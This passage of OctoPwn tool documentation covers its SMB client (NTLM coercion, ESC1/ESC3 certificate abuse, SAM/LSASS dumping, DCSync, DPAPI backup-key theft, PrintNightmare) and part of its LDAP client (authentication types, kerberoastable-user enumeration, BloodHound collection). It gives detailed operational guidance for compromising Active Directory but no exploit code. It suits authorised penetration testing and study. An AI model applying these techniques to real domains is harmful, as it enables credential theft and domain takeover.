named registry path. The key must be empty. ##### Parameters - **path**: Parent registry path. - **key_name**: Subkey to delete. - **to_print** *(optional, bool, default `True`)*: Whether to print "Key deleted!". #### regcreatekey Creates a new subkey under the named registry path. ##### Parameters - **basepath**: Parent registry path. - **key_name**: Name of the new subkey. - **to_print** *(optional, bool, default `True`)*: Whether to print "Key created!". #### regcreatevalue Creates a new value under a registry key. Supports the standard registry value types: `SZ`, `BINARY`, `DWORD`, `DWORD_LITTLE_ENDIAN`, `DWORD_BIG_ENDIAN`, `EXPAND_SZ`, `LINK`, `MULTI_SZ`, `NONE`, `QWORD`, `QWORD_LITTLE_ENDIAN`. For `BINARY` values, supply the data as a hex string. ##### Parameters - **path**: Full registry path. - **value_name**: Value name. - **value_type**: One of the supported types above (case-insensitive). - **value_data**: Value payload. - **to_print** *(optional, bool, default `True`)*: Whether to print "Value created!". --- ### TASK OPERATIONS #### tasks Lists every scheduled task on the target. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### taskregister Registers a new scheduled task from an XML template file (loaded from the OctoPwn working directory). ##### Parameters - **template_file**: Local path to the task XML. - **task_name** *(optional, str)*: Task name. If omitted, derived from the template. #### taskdel Deletes a scheduled task. ##### Parameters - **task_name**: Task name. --- ### PRINTER OPERATIONS #### printerenumdrivers Enumerates printer drivers via the `RPRN` interface (`\PIPE\spoolss`). A successful enumeration confirms the spooler is reachable and is the precondition for the [`printnightmare`](#printnightmare) check. --- ### NTLM COERCION #### printerbug Triggers the **PrinterBug** (RPRN `RpcRemoteFindFirstPrinterChangeNotification` / `RpcRemoteFindFirstPrinterChangeNotificationEx`) authentication coercion — forces the target to authenticate to `attacker_ip` over SMB. The classic NTLM-relay primitive. ##### Parameters - **attacker_ip**: IP / hostname the target should authenticate to. - **to_print** *(optional, bool, default `True`)*: Whether to print "Printerbug triggered OK!". #### coersion Runs the full **multi-protocol coercion** suite from `aiosmb`'s `examples.coersion` module — fires PetitPotam (`MS-EFSR`), DFSCoerce (`MS-DFSNM`), PrinterBug (`MS-RPRN`), ShadowCoerce (`MS-FSRVP`) and every other implemented coercion at the listener IP, with optional pacing between attempts. Use this when you want to spray every coercion vector at once. ##### Parameters - **listenip**: IP / hostname the target should authenticate to. - **delay** *(optional, int, default `1`)*: Delay between attempts (in milliseconds). - **to_print** *(optional, bool, default `True`)*: Whether to print progress. --- ### CERTIFICATE OPERATIONS These commands talk to AD CS over MS-ICPR (the same RPC interface used by Certify). The connection runs piggy-backed on the existing SMB authentication context — so they only work if the bound user can reach an Enterprise CA. #### certreq Requests a certificate from an Enterprise CA. When `altname` or `altsid` is supplied, this becomes the **ESC1** abuse path: enrol against a template that has `ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME` and ask for a cert that authenticates as someone else. The resulting PFX (password `admin`) is auto-stored as a credential in the OctoPwn store; on a successful ESC1 hit, the result is also fed into the vulnerability scanner as an `ESC1Result`. ##### Parameters - **service**: ADCS enrollment service name (no domain part — e.g. `WIN-CA01-CA`). - **template**: Certificate template name. - **cn**: CN for the certificate (in `username@fqdn` format, e.g. `victim@test.corp`). - **altname**: Alternative SAN UPN for impersonation (in `username@fqdn` format). Use empty string to skip. - **altsid** *(optional, str)*: Alternative NTDS object SID to embed for the **strong-mapping** ESC9 / ESC10 / ESC16 abuse path. #### certreqonbehalf **ESC3** abuse: enrols on behalf of another principal using a previously-obtained "Enrollment Agent" certificate. The result is fed into the vulnerability scanner as an `ESC3Result` and the resulting PFX is auto-stored. ##### Parameters - **service**: ADCS enrollment service name. - **template**: Certificate template name (the one that allows enrol-on-behalf-of). - **cn**: CN for the certificate. - **altname**: SAN UPN of the principal to impersonate. - **onbehalf**: Principal to enrol on behalf of (typically the same as `altname`). - **enroll_cert**: Local path to the Enrollment Agent PFX bundle (in OctoPwn working directory). - **enroll_password** *(optional, str)*: Password for the PFX. --- ### SECRETS DUMPING Three independent dumping engines + DPAPI domain-backup-keys + DCSync over the SMB-tunnelled DRSUAPI. #### regdump Classical "dump the SAM/SYSTEM/SECURITY hives" attack. Enables and starts the `RemoteRegistry` service (if not running), `RegSaveKey`s the three hives to `C:\Windows\Temp\`, downloads them, parses them with `pypykatz`, deletes the remote files, and stores the discovered secrets (machine account hash, local accounts, cached domain logons, LSA secrets, DCC2, etc.) into the OctoPwn credential store. Caches the result on the session so subsequent calls (or [`dpapisecretsremoteregdump`](#dpapisecretsremoteregdump)) return instantly. ##### Parameters - **waittime** *(optional, int, default `5`)*: Seconds to wait between starting `RemoteRegistry` / saving / reading the hive (writes are async on the server). - **to_print** *(optional, bool, default `True`)*: Whether to print progress. #### regdump2 Same outcome as [`regdump`](#regdump) but uses `pypykatz`'s `RemoteRegistry` driver — reads the hive **on the wire** without ever writing it to disk on the target. Stealthier (no file artefacts) but slower for huge SECURITY hives. Cached on the session like `regdump`. ##### Parameters - **waittime** *(optional, int, default `5`)*: Reserved (currently unused — kept for parameter symmetry). - **to_print** *(optional, bool, default `True`)*: Whether to print progress. #### lsassdump Dumps `LSASS` remotely and parses the minidump on the wire (no local download). Two execution methods are supported: - `service` (default) — creates a one-shot service that runs `comsvcs.dll`'s `MiniDump` / similar primitive. - `task` — same, via the Task Scheduler. The remote dump file is parsed with `apypykatz` (every package: msv1_0, kerberos, wdigest, tspkg, livessp, ssp, dpapi, cloudap, …) and **deleted** afterwards. Output is in pypykatz "grep" format. ##### Parameters - **method** *(optional, str, default `service`)*: `service` or `task`. #### dcsync Performs a DCSync (DRSUAPI `GetNCChanges`). When `username` is supplied, only that account is dumped; otherwise the entire NTDS is replicated and written to a `dcsync_.txt` file in the OctoPwn working directory (in the WASM build, the file lives in `/volatile/`). When `storesecrets=True`, every recovered secret is also pushed into the OctoPwn credential store. The underlying transport here is **SMB-tunnelled DRSUAPI** — the DCERPC connection is opened over the existing SMB session against `\PIPE\drsuapi`, **not** as a separate TCP connection on a dynamic port (which is what the dedicated [DCEDRSUAPI client](./dcedrsuapi.md) does). Same end result, different transport. ##### Parameters - **username** *(optional, str)*: sAMAccountName to dump. Default: dump everything. - **domain** *(optional, str)*: Domain to dump from. Default: target's primary domain. - **storesecrets** *(optional, bool, default `False`)*: Push every discovered secret into the credential store. - **to_print** *(optional, bool, default `True`)*: Whether to print progress. #### backupkeys Retrieves the **DPAPI domain backup keys** from a Domain Controller via LSARPC (`LsaRetrievePrivateData("G$BCKUPKEY_PREFERRED")` + the per-GUID lookups). Writes every recovered key to disk in three formats: `_legacykey.key` (the legacy machine key), `.pvk` (the PVK private key file), `.der` (the matching certificate). With these keys you can decrypt **every user's DPAPI blobs in the entire domain** offline. --- ### SECRETS HUNTING #### cpasswd Searches `SYSVOL` for GPP `cpassword` XML files (`Groups.xml`, `Services.xml`, `ScheduledTasks.xml`, `DataSources.xml`, `Drives.xml`, `Printers.xml`) up to depth 5. For every hit, decrypts the AES-encrypted password using the well-known Microsoft key (CVE-2014-1812) and stores the resulting credential in the OctoPwn credential store. #### snaffler Runs a [Snaffler](https://github.com/SnaffCon/Snaffler) implementation (via [`pysnaffler`](https://github.com/skelsec/pysnaffler)) starting from the **current SMB directory**. Navigate to where you want to scan (`use SYSVOL` then `cd policies` for example), then run `snaffler`. By default uses pysnaffler's bundled ruleset; pass `rulesdir` to use your own. Files matching a "grab" rule are downloaded to `snaffler_downloads/`, scanned for sensitive content, then either kept (on a content match) or deleted. ##### Parameters - **rulesdir** *(optional, str)*: Path to a directory of `.toml` rules. Default: bundled ruleset. - **gen_filelist** *(optional, bool, default `False`)*: Also write a flat list of every file scanned to `.txt`. #### dpapifiles Walks the remote filesystem and downloads every DPAPI artefact it can find: - Per-user masterkey files from `AppData\Roaming\Microsoft\Protect` and `AppData\Local\Microsoft\Protect`. - Per-user credential files from `AppData\Roaming\Microsoft\Credentials` and `AppData\Local\Microsoft\Credentials`. - Chrome `Local State`, `Login Data` and `Cookies` for every user. - The `SYSTEM` account's masterkey + credential files from `Windows\System32\config\systemprofile\…` and `Windows\System32\Microsoft\Protect\S-1-5-18\User`. - The `OBJECTS.DATA` WMI database file (containing CCM / SCCM `NAA Credentials`, `Task Sequences`, `Collection Variables` and other secrets). Every artefact is downloaded, hex-encoded into a JSON blob (`dpapi_secrets_encrypted_.json`) and the local files are deleted. **No decryption is performed** — pass the result to [`dpapisecretshives`](#dpapisecretshives) or [`dpapisecretsremoteregdump`](#dpapisecretsremoteregdump) for that. ##### Parameters - **skipusers** *(optional, bool, default `False`)*: Skip the per-user walk and only collect SYSTEM-level + WMI artefacts. #### dpapisecretshives End-to-end DPAPI offline decryption: combines [`dpapifiles`](#dpapifiles) with **locally-supplied registry hives** (SYSTEM / SAM / SECURITY) to derive the DPAPI prekeys, then decrypts every masterkey, credential file, and the WMI / SCCM blobs (NAA creds, Task Sequence secrets, Collection Variables, Other Secrets) found on the host. Decrypted masterkeys and credential files are persisted to the session DB (`DPAPI_MASTERKEY`, `DPAPI_MASTERKEYFILE`, `DPAPI_CREDENTIALFILE`, `DPAPI_WMIFILEDATA`). ##### Parameters - **systemhive**: Local path to a SYSTEM hive (in OctoPwn working directory). - **samhive**: Local path to a SAM hive. - **securityhive**: Local path to a SECURITY hive. - **password** *(optional, str)*: Optional cleartext user password — when supplied, also derives per-user DPAPI prekeys (so user masterkeys can be decrypted in addition to system ones). - **skipusers** *(optional, bool, default `False`)*: Skip the per-user file walk. #### dpapisecretsremoteregdump Same as [`dpapisecretshives`](#dpapisecretshives) but instead of taking local hives, it runs [`regdump2`](#regdump2) under the hood — does the entire end-to-end DPAPI dump in a single shot, no local files needed. ##### Parameters - **password** *(optional, str)*: Optional cleartext user password for per-user prekey derivation. - **skipusers** *(optional, bool, default `False`)*: Skip the per-user file walk. #### vhdxsecretsdump Opens a remote `.vhdx` (or `.vhd` / `.vmdk` — anything `adiskreader` understands) file via SMB, mounts every NTFS partition **without writing anything**, walks the in-image registry hives, runs the registry-secrets module, then opens `\Windows\NTDS\ntds.dit` from the same image and dumps every NTDS secret. Every recovered credential is stored in the OctoPwn credential store. The classic "Hyper-V backup share has DC backups in it" abuse, fully offline. ##### Parameters - **filepath**: Remote SMB path to the VHDX file. --- ### VULNERABILITIES #### printnightmare Triggers **CVE-2021-34527 (PrintNightmare)** via the RPRN protocol's `RpcAddPrinterDriverEx` — uploads a malicious driver from a UNC share and asks the spooler to load it. Requires the Print Spooler to be running on the target. ##### Parameters - **share**: UNC path to the share holding the malicious driver. - **driverpath** *(optional, str)*: Optional explicit driver path within the share. #### parprintnightmare Same exploit, but goes through the **PAR** protocol (`MS-PAR`) instead of `MS-RPRN`. Some hardening configurations disable RPRN but leave PAR open — try this when `printnightmare` errors out. ##### Parameters - **share**: UNC path to the share holding the malicious driver. - **driverpath** *(optional, str)*: Optional explicit driver path within the share. --- ### AGENT #### agentpipe Connects to a wsnet **agent listening on a remote SMB named pipe**. The pipe is opened against `\\\IPC$\`, then wrapped in an OctoPwn agent transport so the remote agent appears as a brand-new session in the Sessions panel. Used to chain pivots: an agent on a host with no inbound network access exposes its control channel as an SMB pipe; you reach that host over SMB and "promote" the pipe into a full agent. ##### Parameters - **pipename**: Pipe name (the part after `IPC$\`). --- ### WMI OPERATIONS These commands are tunnelled over the **same** SMB session — no separate DCOM TCP connection on a dynamic port. Same backend as the [WMI client](./wmi.md), exposed here as a convenience so you don't have to spawn a second session against the same host. #### wmiquery Runs an arbitrary WQL query and prints every row. ##### Parameters - **query**: WQL query (e.g. `SELECT Name, ProcessId FROM Win32_Process`). #### wmiquery_json Same as [`wmiquery`](#wmiquery) but returns the result as a JSON-encoded list of dicts. ##### Parameters - **query**: WQL query. - **to_print** *(optional, bool, default `False`)*: Whether to print the JSON. #### wmishadowcopylist Lists every existing **Volume Shadow Copy** on the target (queries `Win32_ShadowCopy`). Returns ID, device object, volume name, install date, GMT label and state for each. ##### Parameters - **to_print** *(optional, bool, default `False`)*: Whether to print results. #### wmishadowcopycreate Creates a new Volume Shadow Copy of the named volume (`Win32_ShadowCopy.Create`). Returns the new shadow ID and device object — the latter can be combined with [`get`](#get) (using a UNC path like `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy\…`) or with [`getfullpath`](#additional-commands) to pull files out of the snapshot. ##### Parameters - **volume**: Volume to snapshot (e.g. `C:\`). - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### wmishadowcopydelete Deletes a Volume Shadow Copy by ID. ##### Parameters - **shadow_id**: Shadow copy ID (as printed by `wmishadowcopylist`). - **to_print** *(optional, bool, default `True`)*: Whether to print the result. --- ### UTILS #### resolveusertosid Resolves a username (with or without domain prefix) to a SID via LSARPC. ##### Parameters - **username**: User to resolve. - **to_print** *(optional, bool, default `True`)*: Whether to print the SID. #### resolveusersidtoname Resolves a SID back to `@` via LSARPC. ##### Parameters - **usersid**: SID to resolve. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. --- ## Additional commands These are callable from the console but do not appear in the `help` output. #### ll Alias for [`ls`](#ls). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### createvsssnapshot Convenience wrapper that creates a one-shot service that calls `wmic shadowcopy call create volume=:\` and starts it. Used as a fallback when the WMI-based [`wmishadowcopycreate`](#wmishadowcopycreate) is unavailable. The service is auto-deleted after the call. ##### Parameters - **service_name** *(optional, str, default `vssnapshot12`)*: Name of the temporary service. - **drive** *(optional, str, default `C`)*: Drive letter (without colon). #### getfullpath Downloads a file given its **full UNC path** (e.g. `\\192.168.56.11\NETLOGON\secret.ps1`) into the OctoPwn working directory under the same basename. Useful when you need to grab a file that lives outside the currently-mounted share without re-mounting. ##### Parameters - **filepath**: Full UNC path (must start with `\\`). #### interfaces Lists every network interface of the remote machine via the SRVSVC `NetrServerTransportEnum` interface — useful for spotting dual-homed hosts and pivoting candidates. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. - **h_token** *(optional, int)*: GUI streaming token — leave as `None` from the console. --- ## Limitations - **No SMB1.** The `SMB`, `SMB2` and `SMB3` modules are all SMB2/SMB3 auto-negotiate. SMB1-only hosts cannot be talked to. - **No anonymous bind via `atype`.** Anonymous SMB sessions (e.g. for `IPC$` enumeration on hardened DCs) are configured at the **credential** level (use a credential with `secret_type=none` / no creds), not via a separate `atype`. - **`get` glob expansion is client-side.** `get *.bak` works because the SMB client expands the glob against the **cached local directory listing** (the one populated by the last [`refreshcurdir`](#refreshcurdir)). If the directory has changed on the server since you last `cd`-ed into it, refresh first. - **`servicedeploy` does not start the service.** Call [`servicestart`](#servicestart) afterwards. - **`wmicmdexec`, `mmc20cmdexec`, `shellwindowscmdexec` and `shellbrowserwindowscmdexec` do not capture stdout.** They spawn a process and that's it. Use shell redirection (`> \\?\C:\…\out.txt`) plus a follow-up [`get`](#get) if you need the output. - **`regdump` enables `RemoteRegistry` if it's not running.** It does not roll the start type back to whatever it was before — if the service was Disabled, you've changed that. - **`lsassdump` deletes the remote dump file but is loud.** Both methods (`service` and `task`) leave EID 7045 (service installed) / EID 4698 (task created) in the Windows Event Log. - **`coersion` fires every implemented coercion at the listener.** That's the point — every miss leaves a 4625 / 5145 in the target's logs. - **`certreq` writes the resulting PFX to `cert_.pfx` with password `admin`.** The PFX is also stored in the credential store. If you never want the file on disk, delete it after the run. - **`dpapifiles` writes a JSON blob to disk.** `dpapi_secrets_encrypted_.json` is a hex-dump of every artefact found — handle accordingly. - **`vhdxsecretsdump` is read-only.** It does not write to the VHDX, but it does require enough memory to hold the parsed registry + NTDS in RAM. Very large NTDS files on small WASM heaps will OOM. - **`agentpipe` requires a remote agent listening on the named pipe.** OctoPwn does not deploy the agent for you — that's done with one of the agent-builder utilities and is out of scope here. - **`dcsync` over SMB requires `\PIPE\drsuapi`.** If the DC is hardened to refuse named-pipe DRSUAPI connections, use the dedicated [DCEDRSUAPI client](./dcedrsuapi.md) instead (which goes EPM → dynamic TCP port → DRSUAPI). --- # [Clients] LDAP Source: https://docs.octopwn.com/plugins/clients/ldap.html # LDAP Client The **LDAP Client** is OctoPwn's general-purpose interface for LDAP — primarily Active Directory, but with limited support for non-Microsoft LDAP servers as well. It wraps the [`msldap`](https://github.com/skelsec/msldap) library and exposes its full surface as both a **GUI session window** (with tree browser, object viewer, raw query builder, and an Enterprise-only vulnerability scanner) and a very large **CLI command set** covering enumeration, modification, AD CS / Certify-style certificate abuse, BloodHound dump, DCSync ACL writes, delegation analysis, AD-integrated DNS manipulation, dMSA / Bad Successor checks, GPO hunting, LAPS retrieval, password-policy dumping, and more. This is one of the largest clients in OctoPwn — over 80 callable commands. The page is organised so the [Authentication](#authentication) and [GUI](#gui-experience) sections come first, then every command grouped by its `help` category, then a short [Additional commands](#additional-commands) section for utilities that are callable but not listed in `help`. --- ## Transport There are two transport variants of the same underlying client: | Module name | Transport | Default port | | ----------- | --------------- | ------------ | | `LDAP` | TCP | `389` | | `LDAPS` | TLS-from-start | `636` | Functionally the two are **identical** — every command on this page works on both. The difference is at session-creation time. `LDAPS` wraps the entire connection in TLS from the very first byte. `LDAP` is plaintext by default — but see the [`SSL` authentication type](#ssl-client-certificate-via-tls-or-starttls) below for the StartTLS path that upgrades a plain `LDAP` session to TLS mid-bind. There is **no** Global Catalog (`GC` / `GC_SSL`) variant exposed here yet — use the `query` command's `basedn` argument together with `LDAP` / `LDAPS` for cross-domain searches in the same forest. --- ## Authentication LDAP authentication is unusually rich. OctoPwn exposes four `atype` choices, each backed by its own family of secret types and each with its own quirks. Picking the wrong one is the most common reason a session fails to bind. ### `NTLM` — domain accounts via NTLM SSP Standard NTLM bind via the LDAP `SASL/GSS-SPNEGO` mechanism (with the optional `encrypt=true` flag enabling NTLM signing/sealing — note that NTLM signing is incompatible with `LDAPS` and is automatically skipped there). Use this for any Windows / Active Directory account when you do not specifically need or want Kerberos. | Secret type | Description | | --------------- | ------------------------------------------------------------ | | `password` | Cleartext password. | | `pwhex` | Hex-encoded UTF-16LE password. | | `nt` / `rc4` | NT hash (pass-the-hash). | | `agentproxy` | Remote NTLM signer over the wsnet agent proxy. | | `sspiproxy` | OS SSPI session via the wsnet agent proxy (Windows agent). | ### `KERBEROS` — domain accounts via Kerberos / SASL GSSAPI Standard Kerberos bind via SASL GSSAPI. Requires reachability to a KDC (set on the credential / target) and a service principal of the form `ldap/@`. | Secret type | Description | Example | | --------------- | ------------------------------------------------------------ | ------------------------------------ | | `password` | Cleartext password. | `user:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `user:70617373…` | | `nt` / `rc4` | NT/RC4 hash. | `user:aad3b…` | | `aes128` | AES128 long-term key. | `user:<32-hex>` | | `aes256` | AES256 long-term key. | `user:<64-hex>` | | `keytab` | Keytab file in OctoPwn volatile storage. | `/browserfs/volatile/svc.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `user:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `user:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `user:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth via Kerberos). | `user:` | | `agentproxy` | Remote KDC over the wsnet agent proxy. | n/a | | `sspiproxy` | OS SSPI session via wsnet agent proxy (Windows agent). | n/a | ### `SIMPLE` — non-Microsoft LDAP LDAP **simple bind** as defined in RFC 4513 — the username (typically the full DN, e.g. `cn=admin,dc=example,dc=org`) and the password are sent verbatim inside the BindRequest. This is the only authentication mode supported by most non-Microsoft LDAP servers (OpenLDAP, 389 DS, ApacheDS, …) and does **not** work against Active Directory unless the DC has been explicitly configured to allow it (it normally does, but the username has to be the full DN, not `DOMAIN\user`). | Secret type | Description | | ----------- | ------------------------------------------ | | `password` | Cleartext password sent verbatim in the bind. | | `none` | Anonymous bind (no password). | !!! warning "Simple bind is cleartext" `SIMPLE` over the `LDAP` (389) transport sends the password in the clear. Pair it with `LDAPS` (636) — or with `SSL` over `LDAP` (StartTLS) — whenever you do not own the wire. ### `SSL` — client certificate via TLS or StartTLS Authentication is performed by the TLS handshake itself (the bind's username/password fields are empty). The only secret type is `pfxb64` — a base64-encoded PFX bundle containing the client certificate plus its private key. The behaviour depends on the transport: | Transport | What happens | | ----------------------- | ---------------------------------------------------------------------------------------------------------------------------- | | `LDAPS` (port 636) | The client certificate is presented during the **initial** TLS handshake. No SASL bind is sent — once the handshake succeeds, the user is bound. | | `LDAP` (port 389) | The client sends the **StartTLS extended operation** (`1.3.6.1.4.1.1466.20037`), wraps the existing TCP connection in TLS, then performs a **SASL EXTERNAL** bind. The server reads the certificate from the TLS context to identify the user. | So `SSL` over `LDAP` is the StartTLS path; `SSL` over `LDAPS` is the implicit-TLS / "LDAPS-with-client-cert" path. Both end up with a TLS-protected, certificate-authenticated session. | Secret type | Description | | ----------- | ----------------------------------------------------------------- | | `pfxb64` | Base64-encoded PFX (`.pfx` / `.p12`) bundle with cert + private key. | !!! tip "Picking the right `atype` at a glance" | The username looks like… | Pick this `atype` | | -------------------------------------------------------------------- | --------------------- | | `CONTOSO\jdoe`, `jdoe@contoso.local` — AD account | `NTLM` or `KERBEROS` | | `cn=admin,dc=example,dc=org` — non-MS LDAP | `SIMPLE` | | None — you have a `.pfx` bundle (e.g. from `shadowcred` / `certify`) | `SSL` | | None — anonymous bind for `ldapinfo` / RootDSE recon | `SIMPLE` + `none` | --- ## GUI experience The LDAP session window opens on the **Commands** tab by default. The header carries seven (eight on Enterprise) tabs: - **Commands** — clickable buttons for every CLI command, grouped exactly like the [Commands](#commands) section below. - **Objects** — a tabular browser for cached AD objects (users, machines, groups, GPOs, certificate templates, certify2 results, GPO-hunt results, trusts). Each row carries a context menu with one-click actions: change password, unlock, enable / disable, add-to-group, remove-from-group, change SAM name, change owner, grant DCSync, grant AddMember, grant LAPS read, plus jump-to-DN. The data behind it is populated by running the bulk fetchers (`users`, `machines`, `groups`, `gpos`, `trusts`, `certtemplates`, `certify2`, `gpohunt`) and is persisted in the session DB so you do not have to refetch on every tab switch. - **Browser** — a tree-style LDAP directory browser rooted at the domain DN. Lazy-loads each container's children via a `listDirectory` RPC; clicking an entry on the right-hand pane shows all its attributes (with `objectClass` icons, decoded GUIDs / SIDs, and SDDL for security descriptors). - **Query** — a dedicated raw-query builder with explicit fields for **base DN**, **scope** (`base` / `one` / `sub`), **filter**, and **attribute list**. Has a preset library (LDAP_QUERY_PRESETS) for common recon filters (kerberoastable users, DCs, computers, GPOs, etc.), per-result detail view, in-result search, last-10 history, and execution-time display. - **Vulns** — Enterprise-only. Renders the structured findings produced by [`vulncheck`](#vulncheck) with severity colours (CRITICAL / HIGH / MEDIUM / LOW / INFO), filtering, search, expandable per-finding object lists, and pagination. The Vulns tab only appears on builds where `licenseType === 'remote'` (i.e. the Enterprise / WASM-pro distribution). - **Jobs** — long-running background commands and a stop button. - **History** — full command history for the session. - **Settings** / **Debug** — connection parameters and protocol-level debug output. Every tab is fed by the same backend session — running a CLI command (e.g. [`users`](#additional-commands)) directly populates the **Objects** tab; running [`vulncheck`](#vulncheck) directly populates the **Vulns** tab; etc. There is no "fetch data for the GUI" button — interacting with the GUI sends the right CLI command for you, and the result is stored in the session DB so the next tab open is instant. --- ## Commands Every command below is callable from the session console (and most from the **Commands** GUI tab as a button). The grouping mirrors the `help` output of the running session. All commands return `(result, error)` on the backend. Many also accept `to_print=False` to suppress the human-readable output while still returning the structured result — useful when chaining commands from scripts. Where a command takes that flag, it is documented as such. --- ### CONNECTION #### login Opens the LDAP/LDAPS connection, performs the chosen authentication exchange, fetches the AD info (`adinfo`) for the prompt, refreshes the credential's SID from the server (`whoamifull`), and proactively builds the privileged-groups cache used later by [`privcheck`](#privcheck) and [`privcheckall`](#privcheckall). Spins up a connection-monitor task so the session auto-fires `logout` if the server drops the link. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print status messages. #### logout Cancels the connection-monitor task, disconnects the LDAP client, and resets the connection-status pill. --- ### INFO #### ldapinfo Prints the full DSA / RootDSE info as returned by the server (`get_server_info`). Includes naming contexts, supported controls, supported SASL mechanisms, vendor, version, and schema/configuration NCs. Cached on first call — re-call is free. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### adinfo Fetches the domain object (`(objectClass=domainDNS)` at the root) and caches its key fields (`distinguishedName`, `objectSid`, `domain_name`). Required by most commands and called automatically by [`login`](#login). Also pushes the parsed info to the GUI as `ADINFO` / `DOMAINS` so the Browser tab knows where to root the tree. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### whoami Calls the LDAP `Who Am I?` extended operation **plus** the additional `whoamifull` helper that resolves the bound principal's SID, sAMAccountName, domain, and `tokenGroups` (every group the user is a transitive member of, expanded by the server). #### whoamisimple Just the bare `Who Am I?` extended op — returns the server's view of the bound principal (typically `u:DOMAIN\user`). --- ### ROAST #### spns Lists kerberoastable user accounts — users with a non-empty `servicePrincipalName` attribute (`(&(objectClass=user)(servicePrincipalName=*))`). For each match prints the `sAMAccountName`. Pair with the [Kerberos client](./kerberos.md)'s `kerberoast` to actually request and crack the TGS tickets. #### asrep Lists ASREP-roastable user accounts — users with the `DONT_REQ_PREAUTH` (`0x400000`) bit set in `userAccountControl`. Pair with the [Kerberos client](./kerberos.md)'s `asreproast` to request and crack the unprotected AS-REP responses. #### spninfo Like [`spns`](#spns), but pretty-prints a table for every SPN with `sAMAccountName`, `servicePrincipalName`, `memberOf`, `pwdLastSet`, `lastLogon`, decoded delegation flags (unconstrained / constrained), and `description`. Useful for triaging which SPN to attack first (look for stale `pwdLastSet`, juicy `description`, low `pwdLastSet` age vs. policy). --- ### ENUMERATION #### domainmanager Registers the current LDAP session with OctoPwn's **Domain Manager** subsystem — auto-logs in if needed and adds the domain to the global domain registry. Used by other clients (and the Enterprise UI) to share the LDAP session as the project's authoritative domain context. #### computeraddr Lists every computer account in the domain by `dNSHostName`, falling back to `.` when `dNSHostName` is empty. Returns the resolved hostname list — useful as input for downstream port-scanning / SMB recon. #### targetenum Enumerates every machine account and bulk-adds them to OctoPwn's **Targets** registry. For each computer it: - derives the FQDN (or falls back to `.`); - derives a default port set (`445/TCP` plus any port hints from each SPN, e.g. `MSSQL` → `1433`, `WSMAN` → `5985`, etc.); - captures `userAccountControl`, the `objectSid`, the OS strings, and the `description`; - marks it as a DC if `userAccountControl` carries `SERVER_TRUST_ACCOUNT`; - optionally resolves the IP via AD-integrated DNS. ##### Parameters - **ldapresolve** *(optional, bool, default `False`)*: Resolve every host to an IP via [`dnsquerya`](#additional-commands) before adding it. Slow on large domains. - **resolve** *(optional, bool, default `False`)*: Pass `resolve=True` down to OctoPwn's Targets manager so it resolves the IPs again with the global resolver after the bulk insert. #### dump Streams every user and every computer account to two TSV files (`users_.tsv`, `computers_.tsv`) in the OctoPwn working directory using the canonical `MSADUser_TSV_ATTRS` column set. No filtering, no decoration — useful when you need a flat dump for offline tools (BloodHound CE community edition, custom analyzers, …). #### fulldump Heavy-duty offline dump: writes ten separate TSV / JSON files (`adinfo`, `schema`, `trusts`, `users`, `computers`, `groups`, `ous`, `containers`, `gpos`, `dns`) plus packs them all into a single LZMA-compressed `dump_.zip` in the OctoPwn working directory. Suitable for offline forensic analysis. #### tree Prints an ASCII tree starting from the given DN (default: the domain root) down to the given depth (default: 1). ##### Parameters - **dn** *(optional, str)*: DN to root the tree at. If a number is passed here it is treated as a depth override and the DN defaults to the domain root. - **level** *(optional, int, default `1`)*: Depth of the tree. #### bloodhound Runs the embedded `MSLDAPDump2Bloodhound` collector against the current connection and writes a BloodHound-compatible ZIP into the OctoPwn working directory (`work_dir`). Returns the ZIP path on success. This is the equivalent of running `SharpHound` / `bloodhound.py` against the domain — feed the resulting ZIP to BloodHound (CE or legacy) for graph-based analysis. #### userdescription Sweeps every user object and prints `sAMAccountName : description` for every user whose `description` attribute is non-empty. The classic "passwords-in-description" discovery. --- ### QUERY #### query The raw LDAP search escape hatch. Sends a server-side paged search and prints every entry's DN and attributes (decoding `bytes` to hex and `SECURITY_DESCRIPTOR` to SDDL). ##### Parameters - **query**: The LDAP search filter (e.g. `(&(objectClass=user)(adminCount=1))`). - **attributes** *(optional, str, default `*`)*: Comma-separated attribute list (e.g. `sAMAccountName,memberOf,description`). `*` returns every non-operational attribute. - **basedn** *(optional, str)*: The base DN to search from. Defaults to the domain root. - **scope** *(optional, str, default `sub`)*: Search scope. One of `sub` (whole subtree), `one` (one level below the base), `base` (just the base DN itself). - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### modify Generic LDAP modify — replaces a single attribute with a single value on a target object. Only works for string-typed attributes; for binary attributes (security descriptors, `msDS-AllowedToActOnBehalfOfOtherIdentity`, etc.) use the dedicated commands ([`setsd`](#setsd), [`addallowedtoactonbehalfofotheridentity`](#addallowedtoactonbehalfofotheridentity), …). ##### Parameters - **dn**: DN of the object to modify. - **attribute**: Name of the attribute to replace. - **value**: New value. --- ### USER #### user Fetches a single user object by `sAMAccountName` and pretty-prints all known fields. ##### Parameters - **samaccountname**: The user's sAMAccountName (without `DOMAIN\` prefix). #### adduser Creates a new user object at the given DN with the given password. ##### Parameters - **user_dn**: Full DN where the user object will be created (e.g. `CN=newuser,CN=Users,DC=test,DC=corp`). - **password**: Initial password. #### deluser Deletes the user object at the given DN. **Irreversible** — domain admins can recover from tombstones, but everyone else cannot. ##### Parameters - **user_dn**: Full DN of the user to delete. #### changeuserpw Changes a user's password. If `oldpass` is supplied the change is performed via the user-self path (works without admin); if omitted, the change is performed administratively (requires `Reset Password` extended right). On success a `password` credential is auto-stored in the OctoPwn credential store. On `constraintViolation` errors the command prints a friendly explanation of the typical causes (history, complexity, lockout, missing old password). 